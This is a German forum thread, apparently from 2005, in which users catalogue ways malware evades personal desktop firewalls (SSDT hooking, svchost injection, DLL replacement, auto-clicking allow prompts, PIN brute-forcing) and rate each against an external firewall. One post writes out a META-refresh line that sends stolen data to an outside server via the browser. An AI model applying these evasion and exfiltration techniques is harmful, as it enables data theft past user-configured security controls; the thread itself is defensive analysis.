    So werden z.B. bei einem so genannten Stream-Angriff Datenpakte generiert, die nicht zu einer bestehenden Verbindung gehören. Um Portscanns zu entdecken, überprüft die Firewall ständig ob die Pakete zur bestehenden Verbindung gehören, was bei der Flut der Pakete eine Überlastung der Software zur Folge hat. Im ungünstigsten Fall kann sich dabei innerhalb von ein paar Minuten das Kernelmodul verabschieden, was die Firewall nach der Attacke wirkungslos macht.

    LAN (Angriff aus dem internen Netz heraus): Diese Methode gehört zur Sicherheitskategorie 1

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 3 (ein Versuch die Desktopfirewall direkt zu attackieren scheitert an PAT der externen Firewall)
+++ATHO und Elderan haben auf die folgende Methode hingewiesen:
  • Ein Personalprotektor lässt sich mit personenbezogenen Daten wie Namen, Adresse und Kreditkarteninfos füttern. Er soll verhindern, dass die angegebenen Einträge ins Netz übermittelt werden. Leider funktioniert dies nicht, wenn die Daten verschlüsselt sind, was in der Regel der Fall ist, wenn eine Malware die Daten ins Netz sendet. Ein fragwürdiger Schutz also, da die Firewall eine Sicherheit vortäuscht, die es effektiv nicht gibt.

    Schlimmer noch: Alle geheimen Daten liegen so zentral an einer Stelle. Gelingt es einem Eindringling auf diese Daten zuzugreifen, so stehen ihm mit einem Schlag alle schützenswerten Informationen zur Verfügung. Nicht zuletzt lassen sich auch Attacken von außen auf Personalprotektoren vornehmen, welche z.B. über das Internet alle möglichen Zahlenkombinationen abfragen und so anhand der gesperrten Zahlen erkennen, welche PINs der Anwender im Personalprotektor hinterlegt hat, etc.

    Im Klartext schafft der Personalprotektor hier zusätzliche Angriffspunkte, die es ohne ihn nicht gibt. Zudem kann er die Übermittlung schützenswerter Daten über das Netz nicht wirklich verhindern, schafft dafür aber eine Grundlage für zahlreiche, unbegründete Fehlermeldungen. Man kann also nur davon abraten, ihn zu verwenden.

    Diese Methode gehört zur Sicherheitskategorie 1
Elderan wies zudem auf die folgende IDS-Falle hin:
  • Einige Desktopfirewalls enthalten ein Intrution Detection System (IDS), welche manchmal auch den Netzwerkverkehr nach bekannten Angriffsmustern untersuchen. Sobald ein Angriff erkannt wird, kann die Firewall den Datenverkehr zwischen dem PC und dem Absender des Angriffs für eine gewisse Zeit unterbinden. Verheerend wirkt sich dieses Feature allerdings aus, wenn die Desktopfirewall keine Listen von Servern pflegt, die nicht gesperrt werden dürfen. Dann ermöglicht das IDS einem Angreifer eine effiziente DoS-Attacke, indem einfach Angriffsmuster mit veränderten Absenderadressen an den PC gesendet werden. So wird der PC in kürzester Zeit vom Netz abgetrennt, da er wichtige Netzwerkkomponenten wie ?default Gateway? und DNS-Server, sowie die Kommunikationspartner im eigenen Netzsegment stück für stück durch die Sperrung der Desktopfirewall verliert.

    Diese Methode gehört zur Sicherheitskategorie 3 (ein Versuch die Desktopfirewall aus dem externen Netz heraus direkt zu attackieren scheitet an PAT der externen Firewall)
Im von CDW erwähnten Beitrag wurden folgende Methoden angesprochen:

Genau wie bei allen anderen auf dem PC installierten Softwareprodukten auch, kann die Desktopfirewall fehlerhaft programmiert worden sein und somit ungewollt neue Angriffspunkte für den PC liefern. Da viele ihrer Komponenten mit erweiterten Rechten laufen (im so genannten Systemkontext) oder gar Kernelkomponenten installieren, wirken sich jedoch Programmier- und Designfehler hier besondern verheerend auf die Sicherheit und Stabilität des Systems aus.
  • Ein Buffer-Overflow ist ein Fehler in einem Programm. Wenn ein Programmierer für eine bestimmte Aktion (Kopieren bzw. Einlesen von Daten, auch das Lesen von Benutzereingaben) einen zu kleinen Speicherbereich (Puffer) vorgesehen hat und nicht überprüft, ob die Eingabe auch in diesen passt, wird durch überlange Eingaben über den Puffer hinaus ein Teil des Programmspeichers überschrieben. Auf diese Weise kann beliebiger anderer Code im Kontext des Programms ausgeführt werden. Ein Programmcode, der den Programmierfehler ausnutzt, nennt man Exploit.

    Wie schon erwähnt ist auch die Desktopfirewall eine Software, die solche Fehler aufweisen kann. Im ungünstigsten Fall erlangt der Angreifer durch den Exploit nicht nur erweiterte Rechte. Manchmal erhält er dadurch überhaupt erst Zugriff auf das System, wie es bei dem fehlerhaft programmierten PAM (Protocol Analysis Module) von BlackICE und RealSecure der Fall war. Der Fehler verhalf dem UDP-basierten Wurm ?Witty? zu seinem zweifelhaften Ruhm.

    Lokal: Diese Methode gehört zur Sicherheitskategorie 1B (die externe Firewall kann gegen lokale Aktivitäten nichts unternehmen)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 3 (ein Versuch die Desktopfirewall aus dem externen Netz heraus direkt zu attackieren scheitet an PAT der externen Firewall)
  • Wechselt eine Systemkomponente auf den Anwenderdesktop, um dort z.B. einen Dialog auszugeben, kann es einem Angreifer gelingen, dadurch erweiterte Rechte zu erlangen. Stark vereinfacht ausgedrückt läuft alles was Fensternachrichten empfängt potentiell Gefahr dazu missbraucht zu werden, fremden Code auszuführen. Zumindest aber kann der Thread zu Aktionen überredet werden, die der Programmierer so nicht vorgesehen hat. Deshalb warnt Microsoft davor, solche Designfehler zu begehen (ein Dienst sollte niemals auf den Anwenderdesktop wechseln). Ob das aus fahrlässiger Bequemlichkeit oder aus Unwissenheit heraus passiert, bleibt das Geheimnis des Programmierers. Fest steht, dass solche Designfehler immer mal wieder in Desktopfirewalls auftauchen.

    Diese Methode gehört zur Sicherheitskategorie 1B. (die externe Firewall kann gegen lokale Aktivitäten nichts unternehmen)

Bye, nz
 
Hallo,
ein super Beitrag: Personal-Firewalls

Dort wird darauf eingegangen, warum auf Grund des Windows-Nachrichtensystems eine PF nichts bringt, und welche weiteren Gefahren dadurch entstehen.
Angucken, und um einiges schlauer sein
 
Danke Elderan, aber Ziel sollte es eigentlich sein, solche Methoden hier kurz zu beschreiben. ;) Ich fange einfach mal an und hoffe, dass sich im Laufe der Zeit noch weitere Leser aktiv daran beteiligen^^

Zunächst einmal habe ich im Eröffnungsbeitrag drei Sicherheitskategorien nachgetragen. Die folgende Methode gehört zur Sicherheitskategorie 1B.

Ziel ist es, geheime Daten durch eine Malware trotz Firewall unerlaubt und vor allem unbemerkt ins Netz zu transferieren. Genauer wird hier das erweiterte Feature der Applikationszugriffskontrolle unterwandert.

Die Malware erhascht zunächst z.B. Passworte oder andere, bis dato geheime Daten. Dann erstellt sie eine lokale html-Datei, welche die folgende Zeile enthält:

<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://server.ru/seite.html?Deine0x-beliebigen0persönlichen00Daten>

Nun wird die lokale html-Datei mit dem Standardbrowser geöffnet. Das Problem: Der Standardbrowser hat zu 99%iger Wahrscheinlichkeit bereits durch den Anwender das Recht erhalten, ungefragt auf das Internet zugreifen zu dürfen. Arbeitet der Browser die Seite ab und gelangt auf die obige Zeile, so kontaktiert er den dort angegebenen Server und übermittelt ihm so die Daten.

Um nicht aufzufallen, kann die Internetseite einen harmlosen Text ausgeben oder sogar versteckt gestartet werden, so dass der Anwender den Zugriff nicht bemerkt. Die Firewall kann den Zugriff nicht verhindern, da der Anwender es zuvor irgendwann einmal gestattet hat, dass der Internetbrowser auf das Internet zuzugreifen darf. Sie macht tatsächlich alles richtig und befolgt lediglich die Regeln des Anwenders.

Hinweis: Der Realplayer kommuniziert übrigens auf diese Weise unter Umgehung der Firewall mit dem Internet - natürlich auch dann, wenn die Personal Firewall die "normale" Kommunikation des Realplayers mit dem Internet erkannt und angeblich unterbunden hat.

Bye, nz
 
Kategorie 3:

Hooken der nativen Kernel API durch modifizieren der System Service Dispatch Table.
Jetz gaukeln wir der PFW vor, dass keine Netzaktivität besteht :D
Imho reicht es bei manchen PFWs auch nur den Prozess zu verstecken, da diese sehr prozessorientiert arbeiten.
 
Weil der Netzwerkverkehr der externen Firewall bestimmt auffällt ?

Aber jetzt wo dus sagst, tendiere ich zu 2, da ja schon durch das Hooken Schaden entstanden ist.
 
Original von +++ATH0
Weil der Netzwerkverkehr der externen Firewall bestimmt auffällt ?

Wieso sollte er? Oder in welcher Form sollte er das? Konntest Du schon jemals über die externe Firewall Zugriffsregeln auf Applikationsebene erteilen (Ausnahmen der protokollspezifischen Art bestätigen die Regel)? Wie sagst Du also einer externen Firewall, das Applikation 1 (z.B. Dein Browser) auf das Internet zugreifen darf, aber Applikation 2 (z.B. Deine Malware) nicht?

Bye, nz
 
Nein nicht auf Applikationsebene.

Ich meine den Fall, dass die Malware NICHT das HTTP-Protokoll über Public Ports benutzt, die dafür vorgesehen waren. Gut sonst könnte man es nicht wirklich verhindern. Aber was bringts, das System ist eh schon infiltriert. :D

Also kommt es doch eigentlich auch drauf an, WAS die Malware erreichen will und nicht nur WIE.
 
Original von +++ATH0
... Aber was bringts, das System ist eh schon infiltriert. :D

Genau. Also fassen wir zusammen: Sicherheitskategorie 3 fällt in diesem Fall flach, weil die externe Firewall keine Befugnisse auf dem lokalen System (dem PC) hat. Sie kann gegen die lokalen Aktivitäten eines Programms NICHTS unternehmen. Lediglich Attacken, die aus dem externen Netz kommen und den PC angreifen sollen, kann sie unterbinden. Nicht mehr und nicht weniger.

Sicherheitskategorie 2: Sollte die Malware, nachdem sie die Desktop Firewall ausgetrickst hat, über einen durch die externe Firewall gesperrten Port mit dem externen Netz kommunizieren wollen, dann ? und nur dann ? kann die externe Firewall den Schaden begrenzen. Verwendet die Malware hingegen einen freien Port (z.B. Port 80), dann ist auch die externe Firewall machtlos.

Im Klartext: Die Applikationszugriffskontrolle basiert auf einer Prozesskontrolle und ist einzig und allein der lokal installierte Desktop Firewall vorbehalten. Da die externe Firewall aus rein technischen Gründen nicht im Stande ist, diesen Job zu übernehmen, kann sie hier auch keinen Schutz bieten. Ohne die Desktop Firewall bedarf es also nicht einmal Deiner Attacke, um durch die externe Firewall hindurch auf das Netz zugreifen zu können. Deshalb fällt Dein Angriff in die Sicherheitskategorie 1 und in Ausnahmefällen in die Sicherheitskategorie 2, denn die schützende Wirkung der Portsperre ist zwar unwahrscheinlich, aber nicht unmöglichen.

Nachtrag zur Sicherheitskategorie 2: Sonderfälle bestätigen die Regel, was an dieser Stelle nicht verschwiegen werden darf. Denn es gibt durchaus Methoden, welche einer externen Firewalls dabei helfen, das Manko der Prozesskontrolle ansatzweise auszugleichen. So lassen sich bei einigen professionellen, externen Firewalls über protokollspezifische Filter auch Applikationszugriffsregeln erstellen, was jedoch eine große Ausnahme darstellt (solche Filter gibt es nur für eine feste und sehr kleine Anzahl bekannter Applikationen; zudem sind sie stark von der Applikationsversion abhängig, was dazu führt, dass sie nur sehr selten eingesetzt werden). Auch ist es möglich, dass die externe Firewall über einen speziellen Filter verfügt, welcher nach bekannten Malwaresignaturen in den Netzwerkpaketen eines Dienstes sucht und die Pakete bei Identifikation sperrt (=>Konzept eines IDS + IRS (IPS) als Firewall-AddOn). Zudem gibt es die Möglichkeit, dass sich jede Applikation vor der Netzwerkkommunikation wenigstens einmal bei der exterenen Firewalll authentifizieren muss (das ist ebenfalls abhängig vom verwendeten Protokoll und meist beschränkt auf HTML). Diese Features erhöhen die schadensbegrenzende Wirkung der externen Firewall auch jenseits der Portsperre. Da sie jedoch bei externen Home-Firewalls kaum anzutreffen sind, stellen sie zumindest in dieser Sparte ganz klar eine Ausnahme dar.

Bye, nz
 
Ok. Ack.

Was ich mich auch frage ist ob es auch im Userland möglich ist, sich erfolgreich vor der PFW zu verstecken. Denn PFWs installieren meistens Kernel-Treiber (die wiederum gefährlich werden können, denn bei einer Lücke ist das ganze System gleich infiltriert).

Ich probiere es morgen mal aus. Welche PFWs soll ich testen ?

Oder weiss da jmd zufällig schon was dazu ?
 
hm, ein paar Anregungen war schon mal hier zu sehen ;)
http://www.buha.info/board/showthread.php?t=49368
vielleicht nicht "vollständiges" verstecken, aber zumindest könnte so auch eine "Feuerwand", die die "gefährlichen" APIs überwacht (CreateRemoteProcess &co) ,umgangen werden. Man kann es auch mit dem einfachen Trick der Umleitung (oben schon beschrieben) kombinieren. Dadurch hebelt man bei Tiny und Co den "Fremdprogramme_dürfen_den_Browser_nicht_starten_Schutz" aus.
 
Hallo,
Der Standardbrowser hat zu 99%iger Wahrscheinlichkeit bereits durch den Anwender das Recht erhalten, ungefragt auf das Internet zugreifen
Cool ich gehör zu dem 1% :)

Also noch ein Problem ist, dass das Bestätigungsfenster nicht feststellen kann, ob der Klick auf den "Erlauben" Button von dem User direkt stammt, oder ob dies ein anderes Programm gemacht hat. Man kann also die Malware so programmieren, dass sie sofort auf "Erlauben" klickt, und der User bekommt nichts mit.

Ein weiteres Problem ist, dass die Firewall meistens mit den gleichen rechten wie das Malprogramm läuft, sprich die Malware kann die Firewall einfach beenden.

Und dann gibts dort noch das DNS-Poisining. Ich sende ein verseuchtes/bösartiges Paket von außerhalb an den Rechner.
Dabei änder ich den Absender so, dass dort als Absender der DNS-Server angegeben ist.
Die Firewall registiert das Packet, und in den meisten Fällen werden weitere Paket von der IP (DNS-Server) direkt verworfen.
=> Ich kann nicht mehr ins Internet.
 
Die Firewall registiert das Packet, und in den meisten Fällen werden weitere Paket von der IP (DNS-Server) direkt verworfen.
=> Ich kann nicht mehr ins Internet.

Doch nur die DNS-Auflösung funzt nicht mehr.

Ja die PFWs machen schon Dummheiten. Das erinnert mich doch direkt daran, dass es bei irgendeiner Firewall eine Funktion gab, die verhindert, dass Passwörter und PINs nach aussen gesendet werden. Dafür musste man sie in eine spezielle Form eintragen. Und schon sind diese "sicher". Nur dumm, dass der Angreifer alle PINs von 0001 bis 9999 durchprobieren kann. Die Nummer die geblockt wird ist die gesuchte :D

@CDW: Deine Tests auf dem BuBo um direkt die Procs der Kernel-Dlls anzuspringen finde ich interessant. Nur das Problem, dass sich die Adressen bei SPs und anderen Winversionen unterscheiden :D. Macht bestimmt Spass da rumzutesten. Ich mache mich auch mal ran. Ich möchte das auch ausprobieren. :)
 
Nur dumm, dass der Angreifer alle PINs von 0001 bis 9999 durchprobieren kann. Die Nummer die geblockt wird ist die gesuchte großes Grinsen

Ahhhhhh. Das ist nicht wahr, oder?
Schon Mist, wenn man sich auf die Sicherheitsversprechen der Hersteller verlässt.

Also das ist hart, wirklich hart.
 
Hallo,
wie in dem Vortrag auch erwähnt wurde, kann man Symantec Firewall alle wichtigen Daten (PIN, Passwörter etc.) intern in der Software speichern, so dass man diese nicht ausversehen nach außen senden.
Das Problem, die Ablage Datei wird _unverschlüsselt_ auf der Festplatte gespeichert. Einem Angreifer erspart dies viel Zeit&Mühe die ganzen PINs, PWs zu sammeln, denn das übernimmt die Firewall ja.
 
Nur das Problem, dass sich die Adressen bei SPs und anderen Winversionen unterscheiden
Jein, nicht bei jedem SP. Die früheren Viren (die noch geschrieben wurden, und nicht zusammengeklickt ;) ) haben ja auch je nachdem direkt mit den Kerneladressen gearbeitet und hatten eine Systemerkennung dabei - ob sie auf winnt, win98/95 usw liefen. Es gibt allerdings eine recht einfache Methode die Adressen rauszufinden, so dass man nicht unbediengt alles testen muss: in der IAT die Adressen auslesen bzw. diese per GetProcAddress rausfinden (wobei ich IAT besser finde, weil GetProcAddress gehoockt werden könnte, die IAT stattdessen vom PE-Loader (oder wie das Ding auch heißen mag) ausgefüllt wird). Denn zumindest Tiny setzt im Kernelspace an (und nicht in der IAT - wäre ja blöd weil man dann nur GetProcAddress benutzen musste) und man damit die "original" Adressen bekommt. Außerdem braucht man im Prinzip nur für win2000 SP4 und XP SP1 und SP2 zu testen, so hat man schon ziemlich viele Systeme abgedeckt.Afaik sollten zwischen XP SP0/SP2 keine Unterschiede (Adressmäßig) bestehen. Wenn jemand aber sowieso soviel "kriminelle Energie" mitbringt und eine Schädling schreibt, wird er auch sich die Mühe machen es auf ein paar Systemen zu testen.
IMHO sollten die Adressunterschiede nur bei win2k,XP und XP SP2 sein. Habe aber ehrlich gesagt keine Lust es zu testen, weil ich dann XP ohne SP1 noch irgendwo auftreiben müsste. Außerdem finde ich das immer noch weniger Aufwand als für jede PFW(und deren Version) auf dem Markt eine eigene Klickroutine oder sonstiges zu schreiben :P
 
22.08-11.09.2005: Wow, das sind schon sehr viele Beiträge. Ich habe sie im Eröffnungsbeitrag zusammengefaßt.

Nachtrag 27.09.2005: In den zuvor genannten Beiträgen wurden einige Angriffsmethoden nicht genannt, die ich hiermit nachtragen möchte:
  • Eine Malware die im Kernelspace operiert, kann die Applikationszugriffskontrolle einer Desktopfirewall nicht erkennen. Der Grund ist einfach: Die Malware stellt hierbei keinen Prozess dar, sondern einen Thread aus dem Kernelspace.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Es ist auch möglich über angepasste Geräte- oder Filtertreiber eine Kommunikation mit dem Netz aufzubauen, ohne dass sich eine Applikation sichtbar an einen Port bindet. Bildlich gesehen wird ein Bypass für die Netzwerkkommunikation verwendet, was dazu führt, das die Applikationszugriffskontrolle der Desktopfirewall nicht erkennen kann, wer die Pakete sendet oder empfängt. Zudem kann der Kernelthread des (Filter-) Treibers verhindern, dass die Firewall etwas von dem Datentransfer erfährt.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Ähnlich wie bei einem Bootsektorvirus kann sich eine Malware in den MBR schreiben. So wird sie geladen, noch bevor das Betriebssystem gestartet wird. Auch hier ist es ihr möglich, unbemerkt auf das Netzwerk zuzugreifen. Ob und wie sich die Malware parallel zum geladenen Betriebssystem halten kann, hängt davon ab, welches Betriebssystem verwendet wird. Diese Aufgabe ist allerdings nicht ganz trivial. Natürlich wird kaum jemand den Aufwand betreiben, nur um eine Desktopfirewall zu umgehen. Allerdings gibt es solche Ansätze, um Passworte für verschlüsselte Partitionen zu tracen, welche von dem Verschlüsselungsprogramm noch vor dem Start des Betriebssystems abgefragt werden. Es ist wichtig zu wissen, dass eine solche Malware auch in der Lage ist, die geraubten Informationen über das Netz zu übertragen, ohne dass die installierte Desktopfirewall das verhindern kann.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1 / in Ausnahmefällen auch zur Sicherheitskategorie 2 (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Firewalls sind auf vorgefertigte Systemroutinen angewiesen, wie sie z.B. in der winsock.dll bzw. w32sock.dll zu finden sind. Sie werden u.a. benötigt, um auf den TCP/IP-Stack überwachend zugreifen zu können. Es gibt Malware, welche einfach die relevanten dll?s durch eigene Versionen ersetzen, um die Firewall an ihrer Arbeit zu hindern.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Eine virtuelle Netzwerkkarte (IP-Aliasing) schafft einen eigenen TCP/IP-Stack, der im ungünstigsten Fall einfach an der Desktopfirewall vorbei sendet. Vor allem ältere Desktopfirewalls, die nur eine einzige Netzwerkkarte verwalten können, lassen sich dadurch umgehen. Aber auch einige neue Modelle haben damit Probleme, wenn die virtuelle Netzwerkkarte nicht schon beim Start der Firewallsoftware vorhanden ist.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Eine Desktopfirewall kann 16-Bit Anwendungen nicht voneinander unterscheiden, wenn diese in einer virtuellen (DOS-) Umgebung ablaufen (ntvdm). Das gilt somit für jede 16-Bit Anwendung, wenn sie unter NT, w2k, XP oder neuer gestartet wird. Gibt man also eine dieser Anwendungen für den Netzwerkzugriff frei, so können auch alle anderen 16-Bit Programme ungehindert auf das Netzwerk zugreifen.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1B / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Vor einem ähnlichen Problem steht die Desktopfirewall mit dem svchost-Prozess. Er realisiert eine ?generische Dienstgruppierung?, was im Klartext bedeutet, dass innerhalb eines svchost-Prozesses mehrere Dienste ablaufen. Das wird aus Performancegründen so realisiert, da das System dadurch nicht mehr zwischen unnötig vielen Prozessen wechseln muss. Es kann mehrere svchost-Prozesse geben. Welche Dienste unter welchem svchost-Prozess zusammengefasst werden, lässt sich frei konfigurieren. Eine Malware kann sich über diesen Weg dort ebenfalls ganz legal einklinken. Die Desktopfirewall sieht so die Malware nicht, da sie kein eigener Prozess ist (sie stellt lediglich einen weiteren Thread der jeweiligen svchost.exe dar). Wurde dem betreffenden svchost-Prozess bereits die Kommunikation mit dem Netz gestattet, so kann nun auch die Malware ungehindert mit dem Netzwerk kommunizieren.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Ein weiteres, unfreiwilliges TOR zur Welt stellen die meisten Anonymisierungsdienste dar. Diese werden im Internetbrowser in der Regel als lokaler Proxy eingetragen. Das bedeutet, dass ein Proxyprogramm auf dem eigenen Rechner läuft und dort an einem lokalen Port auf die Anfragen des Internetexplorers wartet. Diese Anfragen schickt das Programm dann weiter in das Internet. Sinn des Programms ist es, persönliche Daten herauszufiltern, welche der Browser ohne den Proxy ins Netz übertragen würde. Der Proxy kann die Anfrage auch an einen (ggf. dynamisch ermittelten) Proxyserver aus dem Internet schicken, um die eigene Absender-IP-Adresse gegenüber dem Ziel zu verbergen. Wird ein vollwertiger Anonymisierungsdienst verwendet, dann verschlüsselt der lokale Proxy sogar alle zu übertragenen Daten und schickt diese zu einem Partnerserver bzw. einem Serververband ins Netz, der die Daten entschlüsselt und zum Ziel geleitet. So kennt nicht einmal der Internetprovider das Ziel, geschweige denn den Inhalt der Datenpakete.

    Was für die Anonymität gut ist, stellt für die Desktopfirewall ein großes Problem dar. Die Netzwerkkommunikation wird über einen zentralen Prozess geleitet: Den lokalen Proxy. Die meisten Programme übernehmen jedoch die Proxyeinstellungen des Standardbrowsers, bevor sie mit dem Internet kommunizieren. Hat der Proxy nun das Recht erhalten, auf das Netzwerk zuzugreifen, dann wurde damit unbewusst die Internetverbindung für alle Programme erlaubt, welche die Browsereinstellung für sich adoptiert haben.

    Diese Methode gehört zur Sicherheitskategorie 1B
  • Das Programm, welches auf das Netzwerk zugreifen darf, kann durch die Malware infiziert oder gar ausgetauscht werden. Leider gibt es noch immer einige Desktopfirewalls, die eine Infektion nicht erkennen.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1B (Schreibrecht auf das Programm vorausgesetzt, sonst 1A) / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Es gibt Desktopfirewalls, die nachweislich eigene Verbindungen zu ihren Internetservern herstellen. Das geschieht natürlich ohne dass sie selbst darauf hinweisen. Hier geht die Kommunikation also nicht einfach nur an die Desktopfirewall vorbei, sondern wird sogar noch von ihr initiiert. Selbst wenn laut Herstellerangaben lediglich Daten für statistische Zwecke übermittelt werden, bleibt das eine höchst fragwürdige Aktion. Denn oftmals wird die Desktopfirewall installiert, weil man solche ungewollten Zugriffe verhindern möchte. Wenn es sich um "closed source"-Produkte handelt, kann man zudem nicht wirklich sicher sein, welche Daten tatsächlich übermittelt wurden und ob es nicht noch andere, geheime Funktionalitäten gibt, die der Anwender nicht wissen soll^^

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1 / in Ausnahmefällen auch zur Sicherheitskategorie 2 (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (die Kommunikation kommt nicht zustande, solange der Port von der externen Firewall nicht auf den PC geleitet wird)
  • Der IP-Filter einer Desktopfirewall lässt sich bei einigen Modellen durch eine übermäßige Fragmentierung der Nutzdaten umgehen. Dank einer Tiny- bzw. Overlapping-Fragment-Attack kann es somit gelingen, mit einer vermeintlich gesperrten IP-Adresse Zugriff auf einen freigegebenen Dienst des Rechners zu erlangen.

    Diese Methode gehört zur Sicherheitskategorie 1
  • Manchmal ist es möglich, durch manipulierte Netzwerkanfragen an den zu schützenden Rechner die Desktopfirewall derart zu überlasten, dass sie nach der Attacke nicht mehr ordnungsgemäß funktioniert. Zumindest aber lässt sich für die Zeit der Attacke das komplette System in die Knie zwingen. Auf diese Weise ermöglicht die Firewallsoftware erst eine DoS-Attacke auf das zu schützende System.

    So werden z.B. bei einem so genannten Stream-Angriff Datenpakte generiert, die nicht zu einer bestehenden Verbindung gehören. Um Portscanns zu entdecken, überprüft die Firewall ständig ob die Pakete zur bestehenden Verbindung gehören, was bei der Flut der Pakete eine Überlastung der Software zur Folge hat. Im ungünstigsten Fall kann sich dabei innerhalb von ein paar Minuten das Kernelmodul verabschieden, was die Firewall nach der Attacke wirkungslos macht.

    LAN (Angriff aus dem internen Netz heraus): Diese Methode gehört zur Sicherheitskategorie 1

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 3 (ein Versuch die Desktopfirewall direkt zu attackieren scheitert an PAT der externen Firewall)
  • Eine Malware muss ein für den Netzwerkzugriff freigeschaltetes Programm nicht unbedingt infizieren oder per Plugin infiltrieren, um es für die eigene Netzwerkkommunikation zu missbrauchen. Die externen Schnittstellen des Programms, welche das Betriebssystem zur Verfügung stellt oder die das Programm gar selbst liefert, reichen je nach Arbeitsweise vollkommen aus, um es für die eigene Kommunikation zu missbrauchen (siehe tag-Trojaner). So kann die Malware z.B. ein verstecktes Fenster des Internetbrowsers öffnen und darüber mit dem Internet kommunizieren. Wurde dem Browser der Netzwerkzugriff gestattet, so geht die Kommunikation der Malware nun unbemerkt durch die Desktopfirewall hindurch.

    Diese Methode gehört zur Sicherheitskategorie 1B
  • Viele Desktopfirewalls bieten eine art Tarnkappe für den PC an, genannt ?Stealth Mode?, welche bewirkt, dass der PC auf keinerlei Anfragen aus dem Netz reagiert. Der PC soll sich dadurch im Netz so verhalten, als wäre er nicht anwesend. Das Konzept klingt einleuchtend: Was ein Angreifer nicht sieht, kann er nicht angreifen. Nur ist das nicht ganz richtig. Denn wird eine IP-Adresse per ping angesprochen und ist die IP-Adressen ungültig bzw. der PC nicht eingeschaltet, so erhält der Angreifer normalerweise eine entsprechende Nachricht von der zuständigen Netzwerkkomponente (dem Router). Die Desktopfirewall hingegen beantwortet den ping-request einfach nicht. Keine Antwort ist in diesem Fall also auch eine Antwort: Auf diese Weise signalisiert die Desktopfirewall dem Angreifer, dass es sich um eine gültige IP-Adresse eines Rechners handelt, auf dem eine Desktopfirewall installiert wurde.

    LAN (Angriff aus dem internen Netz heraus): Diese Methode gehört zur Sicherheitskategorie 1

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 3 (der PC ist durch PAT der externen Firewall ohnehin für die Aussenwelt nicht sichtbar)
Mehr Angriffsmethoden fallen mir nicht ein. Sollte noch jemand eine Idee haben, dann nur raus damit.

Nachtrag II 27.09.2005: Mein alter Beitrag wurde gelöscht und wieder neu angelegt, um den Thread zu shiften. Denn ich möchte mich hiermit für eure Mitarbeit bedanken. Gleichzeitig entschuldige ich mich bei euch, dass mir für das Projekt in den letzten Tagen (besser Wochen) weit weniger Zeit zur Verfügung stand, als mir lieb war. Ich habe die wiki-Artikel zuvor ein wenig vorbereitet und werde nun anfangen, eure Beiträge dort Stück für Stück einzupflegen. Eine Übersicht befindet sich bereits im Eröffnungsbeitrag des Threads (klick). Big thanks!

PS: Kritiken und Anregungen sind sehr willkommen.

Bye, nz
 
Hallo an alle Forumnutzer,

ich möchte erstmal ein großes Lob an die jenigen aussprechen, die in diesem Thread die Fachliche Diskussion geführt haben.
Sehr informativ, sehr guter fachlicher Inhalt!!

So jetzt aber zu meinem eigentlichen Sinn und Zweck.

Ich befinde mich im allgemeinen immer auf der Suche nach Informationen in und um die Internet-/ IT-Security. Mein interresse ist die Funktion von Trojaner, Viren und Exploits sowie die Möglichkeiten von Angriffen und Abwehrmechanismen.

--> ich denke das ganze ist auch beruflich bedingt <--

Ich finde man sollte den Stand der Dinge überprüfen und diesen Beitrag erneut Diskutieren und ergänzen.
Viele Altbewährte Möglichkeiten die Firewall zu umgehen sind ja immer noch akut, sowie neue Angriffsmöglichkeiten dazu gekommen.

In meinem ersten Post habe ich eine Idee gehabt, wo ich mich frage ob da ein eventueller Ansatz ist.

1. Beispiel Zone-Alarm:

Diese Firewall nutz einen TrueVectorMonitor, der alles was in und um den Rechner passiert überwacht.
